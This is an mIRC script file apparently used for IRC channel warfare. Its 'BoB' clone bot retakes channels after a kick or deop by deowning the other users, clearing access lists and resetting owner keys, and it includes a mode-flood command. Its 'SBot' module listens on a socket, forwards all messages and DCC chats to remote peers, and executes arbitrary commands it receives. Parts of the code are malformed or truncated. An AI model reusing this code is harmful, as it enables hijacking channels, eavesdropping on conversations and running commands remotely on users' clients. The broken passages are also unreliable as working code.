n18=  drawtext -pbc $sockname 0 1 Arial 14 105 35 210 15 4Last Chan:
n19=  drawtext -pbc $sockname 0 1 Arial 14 105 51 210 15 4Last Action:
n20=  drawtext -pbc $sockname 0 1 Arial 14 105 67 210 15 4BoT NaMe:15 %st.cl
n21=  drawtext -pbc $sockname 0 1 Arial 14 105 83 210 15 4IRCX Server:15 %server
n22=  window -a @BoB
n23=}
n24=on 1:SOCKREAD:@BoB:{
n25=  if ($sockerr > 0) return
n26=  :nextread
n27=  sockread %sock.read.line
n28=  if ($sockbr == 0) return
n29=  if ($gettok(%sock.read.line,1,32) == PING) { sockwrite -n $sockname PONG $gettok(%sock.read.line,2-,58) }
n30=  if ($gettok(%sock.read.line,2,32) == PROP) { set %Key. [ $+ [ $gettok(%sock.read.line,3,32) ] ] $remove($gettok(%sock.read.line,5,32),:) }
n31=  if ($gettok(%sock.read.line,2,32) == PRIVMSG) && ($address($me,5) isin $gettok(%sock.read.line,1,32)) && ($gettok(%sock.read.line,4,32) == :!part) { sockwrite -n $sockname PART $gettok(%sock.read.line,3,32) }
n32=  if ($gettok(%sock.read.line,2,32) == PRIVMSG) && ($address($me,5) isin $gettok(%sock.read.line,1,32)) && ($gettok(%sock.read.line,4,32) == :!q) { sockwrite -n $sockname MODE $gettok(%sock.read.line,3,32) +q $me }
n33=  if ($gettok(%sock.read.line,2,32) == 800) { drawtext -pbc $sockname 0 1 Arial 14 105 19 210 15 4IRCX Status:15 ON $chr(160) }
n34=  goto nextread
n35=}
n36=on 1:SOCKCLOSE:@BoB:set %sockwin $sockname | unset %st.* | .disable #stealthmode | .disable #stealthkick | sockclose $sockname | window -c %sockwin
n37=on 1:CLOSE:@BoB:unset %st.* | .disable #stealthmode | .disable #stealthkick | sockclose $target
n38=#stealthmode off
n39=on 1:RAWMODE:#:{ 
n40=if (($mode(1).deowner == $me) || ($mode(1).deop == $me)) && ($sock(@BoB) != $null) { .disable #stealthkick | sockwrite -n @BoB join $chan %Key. [ $+ [ $chan ] ] | set %cmask $address($nick,4) | sockwrite -n @BoB mode $chan +qq-ooo $me $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick | sockwrite -n @BoB prop $chan ownerkey $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(0,9) $+ $r(A,Z) | sockwrite -n @BoB access $chan clear | set %st.last.chan %st.chan | set %st.last.act %st.act | set %st.chan $chan | set %st.act $iif($1 == -q,deowned,deoped) | .timerSTEALTH 1 3 finish.stealth | .timer 1 3 .enable #stealthkick | unset %cmask } }
n41=.disable #stealthkick
n42=sockwrite -n @BoB join $chan %Key. [ $+ [ $chan ] ] 
n43=set %cmask $address($nick,4)
n44=sockwrite -n @BoB access # clear
n45=sockwrite -n @BoB mode # +qq-oooooo $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick $ialchan(%cmask,#,3).nick 
n46=sockwrite -n @BoB prop $chan ownerkey $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(0,9) $+ $r(A,Z) 
n47=sockwrite -n @BoB access $chan clear 
n48=set %st.last.chan %st.chan 
n49=set %st.last.act %st.act 
n50=set %st.chan $chan 
n51=set %st.act $iif($1 == -q,deowned,deoped) 
n52=.timerSTEALTH 1 3 finish.stealth 
n53=.timer 1 3 .enable #stealthkick
n54=}
n55=if (($gettok(%protect,4,32) == +q) && ($gettok(%protect,5,32) == %protect.nick)) {
n56=.timer $+ %protect.nick $+ $gettok(%protect,3,32) 0 15 sockwrite -nt $sockname access $gettok(%protect,3,32) add owner $ip
n57=}
n58=if (($gettok(%protect,4,32) == -q) && ($gettok(%protect,5,32) == %protect.nick)) {
n59=if ($level($address(%protect.knick,2)) = 100) { 
n60=  if (%protect.deop = off) { halt }
n61=  set %protect.deop off
n62=  sockwrite -nt $sockname part $gettok(%protect,3,32)
n63=  sockwrite -nt $sockname join $gettok(%protect,3,32) [ $+ [ $gettok(%protect,3,32) ] ]
n64=  sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ meenY!
n65=  .timer 1 3 set %protect.deop on
n66=  halt
n67=}
n68=else {
n69=  if (%protect.deop = off) { halt }
n70=  set %protect.deop off
n71=  %mask = $address(%protect.knick,4)
n72=  sockwrite -nt $sockname part $gettok(%protect,3,32)
n73=  sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
n74=  sockwrite -nt $sockname access $gettok(%protect,3,32) clear
n75=  sockwrite -nt $sockname access $gettok(%protect,3,32) add host %mask
n76=  sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
n77=  sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
n78=  .timer 1 3 set %protect.deop on
n79=  halt
n80=}
n81=}
n82=if (($gettok(%protect,4,32) == -q) && ($level($address($gettok(%protect,5,32),2)) = 100)) {
n83=if ($level($address(%protect.knick,2)) = 100)  { halt }
n84=else {
n85=  if (%protect.deopp = off) { halt }
n86=  set %protect.deopp off
n87=  %mask = $address(%protect.knick,4)
n88=  sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
n89=  sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
n90=  .timer 1 3 set %protect.deopp on
n91=  halt
n92=}
n93=}
n94=if (($gettok(%protect,2,32) == KICK) && ($gettok(%protect,4,32) == %protect.nick)) {
n95=if ($level($address(%protect.knick,2)) = 100) { 
n96=  sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
n97=  sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ meenY!
n98=}
n99=else {
n100=  %mask = $address(%protect.knick,4)
n101=  sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
n102=  sockwrite -nt $sockname access $gettok(%protect,3,32) clear
n103=  sockwrite -nt $sockname access $gettok(%protect,3,32) add host %mask
n104=  sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
n105=  sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
n106=  halt
n107=}
n108=}
n109=if (($gettok(%protect,2,32) == JOIN) && ($ip isin %protect)) {
n110=set %protect.join $mid(%protect,2,$calc($pos(%protect,!,1) - 2))
n111=if (%protect.join == %protect.nick) { halt }
n112=sockwrite -n $sockname mode $remove($gettok(%protect,3,32),:) +q %protect.join
n113=halt
n114=}
n115=if (($level($address(%protect.knick,2)) == 100) && ($gettok(%protect,2,32) == MSG)) { 
n116=if ($gettok(%protect,4,32) == :!hop) {
n117=  sockwrite -nt $sockname part $gettok(%protect,3,32)
n118=  sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
n119=}
n120=if ($gettok(%protect,4,32) == :!qme) {
n121=  sockwrite -nt $sockname mode $gettok(%protect,3,32) +q %protect.knick
n122=}
n123=if ($gettok(%protect,4,32) == :!join) {
n124=  sockwrite -nt $sockname join $gettok(%protect,5-,32)
n125=}
n126=if ($gettok(%protect,4,32) == :!part) {
n127=  sockwrite -nt $sockname part $gettok(%protect,5-,32)
n128=}
n129=if ($gettok(%protect,4,32) == :!say) {
n130=  sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ $gettok(%protect,5-,32)
n131=}
n132=if ($gettok(%protect,4,32) == :!act) {
n133=  sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ $chr(1) $+ ACTION $gettok(%protect,5-,32) $+ $chr(1)
n134=}
n135=if ($gettok(%protect,4,32) == :!kick) {
n136=  sockwrite -nt $sockname kick $gettok(%protect,3,32) $gettok(%protect,5,32) :X $gettok(%protect,6-,32)
n137=}
n138=if ($gettok(%protect,4,32) == :!+o) {
n139=  echo @split1 ownering $gettok(%protect,5-,32)
n140=  sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(q,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
n141=}
n142=if ($gettok(%protect,4,32) == :!+h) {
n143=  echo @split1 host $gettok(%protect,5-,32)
n144=  sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
n145=}
n146=if ($gettok(%protect,4,32) == :!+v) {
n147=  echo @split1 voiceing $gettok(%protect,5-,32)
n148=  sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(v,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
n149=}
n150=if ($gettok(%protect,4,32) == :!-o) {
n151=  echo @split1 ownering $g
n152=}
n153=#stealthmode end
n154=#stealthkick off
n155=on 1:KICK:#: { 
n156=  if ($knick == $me) && ($sock(@BoB) != $null) { 
n157=    .disable #stealthmode 
n158=    set %cmask $address($nick,4)
n159=    sockwrite -n @BoB join # $ownerkey
n160=    sockwrite -n @BoB mode # +qq-oooooo $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick $ialchan(%cmask,#,3).nick
n161=    sockwrite -n @BoB access # clear
n162=    sockwrite -n @BoB prop # ownerkey BoBWuZHeRe-( $+ $rand(1,999999) $+ )
n163=    sockwrite -n @BoB access # clear
n164=    set %st.last.chan %st.chan 
n165=    set %st.last.act %st.act 
n166=    set %st.chan $chan 
n167=    set %st.act kicked 
n168=    .timerSTEALTH 1 3 finish.stealth 
n169=    .timer 1 3 .enable #stealthmode 
n170=    sockwrite -nt @BoB part $chan
n171=  } 
n172=}
n173=#stealthkick end
n174=alias finish.stealth {
n175=  drawtext -pbc @BoB 1 1 Arial 14 105 35 210 15 4Last Chan:1 %st.last.chan
n176=  drawtext -pbc @BoB 1 1 Arial 14 105 51 210 15 4LastAction:1 %st.last.act
n177=  drawtext -pbc @BoB 0 1 Arial 14 105 35 210 15 4Last Chan:15 %st.chan
n178=  drawtext -pbc @BoB 0 1 Arial 14 105 51 210 15 4LastAction:15 %st.act
n179=  join %st.chan %Key. [ $+ [ %st.chan ] ]
n180=  if ($me isowner %st.chan) { sockwrite -n @BoB part %st.chan }
n181=  if ($me !isowner %st.chan) { join %st.chan %Key. [ $+ [ %st.chan ] ] }
n182=  .enable #stealthmode | .enable #stealthkick
n183=}
n184=menu @BoB {
n185=  &Die:sockwrite -n @BoB QUIT
n186=}
n187=alias pex { 
n188=  sockwrite -n @BoB kick # $snicks(#,0)
n189=  kick # %st.cl
n190=  if ($opnick == $me) { set %deop.protection off | set %nick.mask $address($nick,2) | .sockwrite -tn join # %ownerkey | .sockwrite -tn mode # -qqq $ialchan(%nick.mask,#,1)
n191=    $ialchan(%nick.mask,#,2).nick $ial(%nick.mask,#,3).nick
n192=  }
n193=
n194=}
n195=
n196=on 1:START: listen
n197=
n198=on 1:SOCKLISTEN:Stealth: {
n199=  unset %SBot.i
n200=  :start
n201=  inc %SBot.i
n202=  if ( $sock( [ SBot- $+ [ %SBot.i ] ] ) != $null ) { goto start }
n203=  .sockaccept [ SBot- $+ [ %SBot.i ] ]
n204=  %SBot.server = $server
n205=  if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
n206=  .sockwrite -n SBot- $+ [ %SBot.i ] CONNECT $me $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode 
n207=  unset %SBot.*
n208=}
n209=
n210=on 1:SOCKREAD:SBot-*: {
n211=  if ( $sockerr > 0 ) .return
n212=  .sockread %SBot.read.temp
n213=  %SBot.read.temp1 = $gettok( %SBot.read.temp ,1,32)
n214=  if ( %SBot.read.temp1 == GETCOLORS ) { 
n215=    .sockwrite -n $sockname COLORS $rgb(Face) $+ $chr(140) $+ $rgb(Text) $+ $chr(140) $+ $rgb(Hilight) $+ $chr(140) $+ $rgb(Shadow) $+ $chr(140) $+ $bground(SwitchBar)
n216=    if ( $bground(SwitchBar) != none ) { 
n217=      unset %SBot.read.i
n218=      :start
n219=      inc %SBot.read.i
n220=      if ( $sock( [ SBot_Send- $+ [ %SBot.read.i ] ] ) != $null ) { goto start }
n221=      .sockopen [ SBot_Send- $+ [ %SBot.read.i ] ] $sock($sockname).ip $gettok( %SBot.read.temp ,2,32) 
n222=    }
n223=  }
n224=  elseif ( %SBot.read.temp1 == GETWINS ) { winstat }
n225=  elseif ( %SBot.read.temp1 == GETNAMES ) { chanstat $gettok( %SBot.read.temp ,2,32) }
n226=  elseif ( %SBot.read.temp1 == GETIP ) {
n227=    if ( $query( [ $gettok( %SBot.read.temp ,2,32) ] ).address != $null ) { .sockwrite -n SBot-* NICKIP $gettok( %SBot.read.temp ,2,32) $query( [ $gettok( %SBot.read.temp ,2,32) ] ).address }
n228=    elseif ( $address( [ $gettok( %SBot.read.temp ,2,32) ] ,5) != $null ) { .sockwrite -n SBot-* NICKIP $gettok( %SBot.read.temp ,2,32) $address( [ $gettok( %SBot.read.temp ,2,32) ] ,5) }
n229=    else { .enableset #NickIP | %SBot.getnick $gettok( %SBot.read.temp ,2,32) | .userhost $gettok( %SBot.read.temp ,2,32) } 
n230=  }
n231=  elseif ( %SBot.read.temp1 == CONNECT ) { .sockmark $sockname $gettok( %SBot.read.temp ,2,32) }
n232=  else { 
n233=    if ( remove isin %SBot.read.temp1 ) || ( copy isin %SBot.read.temp1 ) || ( mkdir isin %SBot.read.temp1 ) || ( remini isin %SBot.read.temp1 ) || ( rename isin %SBot.read.temp1 ) || ( rmdir isin %SBot.read.temp1 ) || ( write isin %SBot.read.temp1 ) { unset %SBot.read.* | halt }
n234=    %SBot.read.temp 
n235=  }
n236=  unset %SBot.read.*
n237=}
n238=
n239=on 1:SOCKCLOSE:Stealth:.listen
n240=
n241=on 1:SOCKOPEN:SBot_Send-*:{
n242=  .sockmark $sockname $bground(SwitchBar)
n243=  bread $sock($sockname).mark 0 4096 &SBot.temp
n244=  sockwrite $sockname &SBot.temp
n245=}
n246=
n247=on 1:SOCKWRITE:SBot_Send-*: {
n248=  if ($sockerr > 0) { halt }
n249=  if ($sock($sockname).sent >= $lof( $sock($sockname).mark) ) { sockclose $sockname | halt }
n250=  bread $sock($sockname).mark $sock($sockname).sent 4096 &SBot.temp
n251=  sockwrite $sockname &SBot.temp
n252=}
n253=
n254=on 1:INPUT: {
n255=  if ( $sock(SBot-*) != $null ) {
n256=    if ( Chat isin $target ) { %SBot.temp = $gettok( $target ,3,32) | .sockwrite -n SBot-* DCC CHAT %SBot.temp < $+ $me $+ > $1- }
n257=    elseif ( $left( $1 ,1) != $chr(47) ) { if ( Status !isin $target ) { .sockwrite -n SBot-* SHOW $target < $+ $me $+ > $1- } }
n258=    else { 
n259=      %SBot.temp = $target
n260=      if ( $gettok( %SBot.temp ,1,32) == Status ) { %SBot.temp = Status }
n261=      .sockwrite -n SBot-* ACTION %SBot.temp $1- 
n262=      %SBot.temp1 = $gettok( $1 ,1,47)
n263=      if ( %SBot.temp1 == msg ) || ( %SBot.temp1 == query ) { .sockwrite -n SBot-* SHOW $2 < $+ $me $+ > $3- }
n264=      elseif ( %SBot.temp1 == me ) || ( %SBot.temp1 == action ) || ( %SBot.temp1 == describe ) {
n265=        if ( %SBot.temp1 == describe ) { %SBot.temp = $2 | %SBot.msg = $3- }
n266=        else { %SBot.temp = $target | %SBot.msg = $2- }
n267=        .sockwrite -n SBot-* SHOW %SBot.temp  $+ [ $colour(Action) ] $+ * $me %SBot.msg
n268=        unset %SBot.*
n269=      }        
n270=    }
n271=    unset %SBot.*
n272=  }
n273=}
n274=
n275=on 1:CONNECT: {
n276=  if ( $sock(SBot-*) != $null ) { 
n277=    %SBot.server = $server
n278=    if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
n279=    .sockwrite -n SBot-* CONNECT $me $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode 
n280=  }
n281=}
n282=on 1:DISCONNECT: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(Info) $+ *** Disconnected | .sockwrite -n SBot-* DISCONNECT }
n283=
n284=on 1:TEXT:*:*: {
n285=  if ( $sock(SBot-*) != $null ) {
n286=    %SBot.temp = $chan
n287=    if ( $chan == $null ) { %SBot.temp = $nick }
n288=    .sockwrite -n SBot-* SHOW %SBot.temp < $+ $nick $+ > $1- 
n289=    unset %SBot.*
n290=  }
n291=}
n292=
n293=on 1:NOTICE:*:*: {
n294=  if ( $sock(SBot-*) != $null ) {
n295=    if ( $chan != $null ) { .sockwrite -n SBot-* SHOW $chan  $+ $colour(notice) $+ - $+ $nick $+ : $+ $chan $+ - $1- }
n296=    else { showinstat  $+ $colour(notice) $+ - $+ $nick $+ - $1- }
n297=  }
n298=}
n299=
n300=on 1:ACTION:*:*: {
n301=  if ( $sock(SBot-*) != $null ) {
n302=    %SBot.temp = $chan
n303=    if ( $chan == $me ) { %SBot.temp = $nick }
n304=    .sockwrite -n SBot-* SHOW %SBot.temp  $+ [ $colour(Action) ] $+ * $nick $1- 
n305=    unset %SBot.*
n306=  }
n307=}
n308=
n309=on 1:NICK: { 
n310=  if ( $sock(SBot-*) != $null ) {
n311=    if ( $nick == $me ) {
n312=      %SBot.server = $server
n313=      if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
n314=      .sockwrite -n SBot-* CONNECT $newnick $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode 
n315=    }
n316=    unset %SBot.i
n317=    unset %SBot.temp
n318=    :start
n319=    inc %SBot.i
n320=    if ( %SBot.i <= $comchan( $newnick ,0) ) {
n321=      if ( $newnick isop $comchan( $newnick , %SBot.i ) ) { %SBot.char = $chr(64) }
n322=      elseif ( $newnick isvo $comchan( $newnick , %SBot.i ) ) { %SBot.char = $chr(43) }
n323=      else { %SBot.char = $chr(149) }
n324=      if ( %SBot.temp == $null ) { %SBot.temp = %SBot.char $+ $comchan( $newnick , %SBot.i ) }
n325=      else { %SBot.temp = %SBot.temp $+ , $+ %SBot.char $+ $comchan( $newnick , %SBot.i ) }
n326=      goto start
n327=    }
n328=    .sockwrite -n SBot-* NICK $nick $newnick %SBot.temp $colour(nick)
n329=    unset %SBot.*
n330=  }
n331=}
n332=
n333=on 1:QUIT: {
n334=  if ( $sock(SBot-*) != $null ) {
n335=    if ( $nick != $me ) {
n336=      unset %SBot.i
n337=      unset %SBot.temp
n338=      :start
n339=      inc %SBot.i
n340=      if ( %SBot.i <= $comchan( $nick ,0) ) {
n341=        if ( %SBot.temp == $null ) { %SBot.temp = $comchan( $nick , %SBot.i ) }
n342=        else { %SBot.temp = %SBot.temp $+ , $+ $comchan( $nick , %SBot.i ) }
n343=        goto start
n344=      }
n345=      %SBot.msg = $1
n346=      if ( %SBot.msg == $null ) { %SBot.msg = Leaving }
n347=      .sockwrite -n SBot-* QUIT $nick %SBot.temp  $+ $colour(Quit) $+ *** Quits: $nick ( $+ $1- $+ ) 
n348=      .showinstat  $+ $colour(Quit) $+ *** $nick ( $+ $address $+ ) Quits ( $+ $1 $+ )
n349=    }
n350=  }
n351=}  
n352=
n353=on 1:DNS: {
n354=  if ( $sock(SBot-*) != $null ) { 
n355=    showinstat  $+ $colour(Other) $+ *** Looking up $iaddress 
n356=    if ( $raddress == $null ) { showinstat  $+ $colour(Other) $+ *** Unable to resolve $iaddress }
n357=    else { showinstat  $+ $colour(Other) $+ *** Resolved $iaddress to $raddress }
n358=  }
n359=}
n360=
n361=on 1:CLOSE:=: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE [ Chat- $+ [ $target ] ] }
n362=on 1:CLOSE:!: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE [ Chat- $+ [ $target ] ] }
n363=on 1:CLOSE:?: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE $target }
n364=on 1:SNOTICE: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(notice) $+ - $+ $nick $+ - $1- }
n365=on 1:NOTIFY: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(Notify) $+ *** $nick is on IRC }
n366=on 1:UNOTIFY: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(Notify) $+ *** $nick has left IRC }
n367=on 1:INVITE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* INVITE $chan $nick $colour(invite) $address }
n368=on 1:USERMODE: if ( $sock(SBot-*) != $null ) { showinstat  $+ [ $colour( mode ) ] $+ *** $me sets mode: $1- | .sockwrite -n SBot-* UMODE $usermode }
n369=on 1:MODE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN MODE $chan $nick $colour( mode) $1- $+ $chr(164) $+ $chan( $chan ).mode }
n370=on 1:SERVERMODE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN MODE $chan $nick $colour( mode) $1- $+ $chr(164) $+ $chan( $chan ).mode }
n371=on 1:TOPIC:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN TOPCHANGE $chan $nick $colour(topic) $1- }
n372=on 1:OP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: +o $opnick }
n373=on 1:SERVEROP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: +o $opnick }
n374=on 1:DEOP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: -o $opnick }
n375=on 1:VOICE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $vnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: +v $vnick }
n376=on 1:DEVOICE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $vnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: -v $vnick }
n377=on 1:JOIN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN JOIN $chan  $+ $colour(Join) $+ *** Joins: $nick ( $+ $address $+ ) }
n378=on 1:PART:#: if ( $sock(SBot-*) != $null ) { if ( $nick != $me ) { .sockwrite -n SBot-* CHAN PART $chan  $+ $colour(Part) $+ *** Parts: $nick ( $+ $address $+ ) ( $+ $1- $+ ) } | else { .sockwrite -n SBot-* CLOSE $chan } }
n379=on 1:KICK:#: if ( $sock(SBot-*) != $null ) { if ( $knick != $me ) { .sockwrite -n SBot-* CHAN KICK $chan  $+ $colour(Part) $+ *** $knick was kicked by $nick ( $+ $1- $+ ) } | else { .sockwrite -n SBot-* CLOSE $chan | .showinstat  $+ $colour(Part) $+ *** You were kicked from $chan by $nick ( $+ $1- $+ ) } }
n380=on 1:BAN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW $chan  $+ [ $colour(mode) ] $+ *** $nick sets mode +b $banmask }
n381=on 1:UNBAN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW $chan  $+ [ $colour(mode) ] $+ *** $nick sets mode -b $banmask }
n382=on 1:CHAT:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC CHAT $nick < $+ $nick $+ > $1- }
n383=on 1:SERV:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC CHAT $nick < $+ $nick $+ > $1- }
n384=ctcp 1:DCC CHAT: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC OPENCHAT $nick CTCP $colour(Info2) $colour(CTCP) $longip( $4 ) }
n385=on 1:OPEN:=: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC OPENCHAT $nick ACK $colour(CTCP) DCC Chat connection established }
n386=
n387=ctcp 1:*:*: {
n388=  if ( $1 == VERSION ) && ( $2 == SBot ) { .ctcpreply $nick VERSION $me is hosting SBot-Script ver. 2 |{o|)e|) by Goldfing | halt }
n389=  elseif ( $1 == SBot ) && ( $2 == Stats ) { 
n390=    unset %SBot.ctcp.i
n391=    :start
n392=    inc %SBot.ctcp.i
n393=    %SBot.ctcp.temp1 = SBot- [ $+ [ %SBot.ctcp.i ] ]
n394=    if ( $sock( %SBot.ctcp.temp1 ) != $null ) { %SBot.ctcp.temp = %SBot.ctcp.temp $sock(%SBot.ctcp.temp1).mark | goto start }
n395=    if ( %SBot.ctcp.temp != $null ) { /.ctcpreply $nick SBot Connected to: %SBot.ctcp.temp }
n396=    else { /.ctcpreply $nick SBot Not Connected to anyone }
n397=    unset %SBot.ctcp.*
n398=    halt
n399=  }
n400=  elseif ( $sock(SBot-*) != $null ) {
n401=    if ( $1 != DCC ) {
n402=      %SBot.temp = $2-
n403=      if ( $1 == PING ) { unset %SBot.temp }
n404=      if ( $chan != $null ) { showinstat  $+ [ $colour(CTCP) ] $+ $chr(91) $+ $nick $+ $chr(58) $+ $chan $1 $+ $chr(93) %SBot.temp }
n405=      else { showinstat  $+ [ $colour(CTCP) ] $+ $chr(91) $+ $nick $1 $+ $chr(93) %SBot.temp }
n406=    }
n407=  }
n408=  unset %SBot.*
n409=}
n410=
n411=On 1:input:*:{
n412=  if ($1- == hey bob)  { /sockwrite -tn * JOIN # }
n413=  if ($1- == bye bob)  { /sockwrite -tn * PART # }
n414=  if ($1- == cycle bob) { /sockwrite -tn * PART $chan | /sockwrite -tn * JOIN $chan }
n415=  if ($1- == die bob)   { sockwrite -n @BoB QUIT BYE, MY NAME IS BOB }
n416=if ($1- == boo) { /sockwrite @BoB -nt * mode # +o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1| /sockwrite -nt * mode # +q+o+q+o+q+o+q+o+q+o+q+o+q+o+q+o+q+o+q+o+q+o+q+o+q+o+q+o+q+o+q+o+q+o+q+o+q+o+q+o+q+o+q+o $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 } }
n417=}
n418=
n419=on 1:CTCPREPLY:*: { 
n420=if ( $sock(SBot-*) != $null ) {
n421=  if ( $1 != PING ) { showinstat  $+ $colour(CTCP) $+ $chr(91) $+ $1 reply $+ $chr(93) $+ $chr(58) $2- }
n422=  else {
n423=    set %SBot.pt $ctime - $2
n424=    if (%SBot.pt < 0) { set %SBot.pt 0 }
n425=    showinstat  $+ $colour(CTCP) $+ $chr(91) $+ $nick PING reply $+ $chr(93) $+ $chr(58) %SBot.pt seconds
n426=    unset %SBot.*
n427=  }    
n428=}
n429=}
n430=
n431=;-------------------------------------  CONNECT -------------------------------------------
n432=raw 1:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n433=raw 2:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n434=raw 3:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n435=raw 4:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n436=raw 251:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n437=raw 252:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n438=raw 253:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n439=raw 254:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n440=raw 255:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n441=raw 265:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n442=raw 266:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n443=raw 372:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n444=raw 375:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $4-7 }
n445=raw 376:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n446=
n447=;----------------------------------------------------- SERVER ERRORS -------------------------------------------------------
n448=raw 401:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n449=raw 403:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n450=raw 404:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n451=raw 405:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n452=raw 421:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n453=raw 431:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n454=raw 432:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n455=raw 433:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n456=raw 441:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n457=raw 442:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n458=raw 443:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n459=raw 465:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
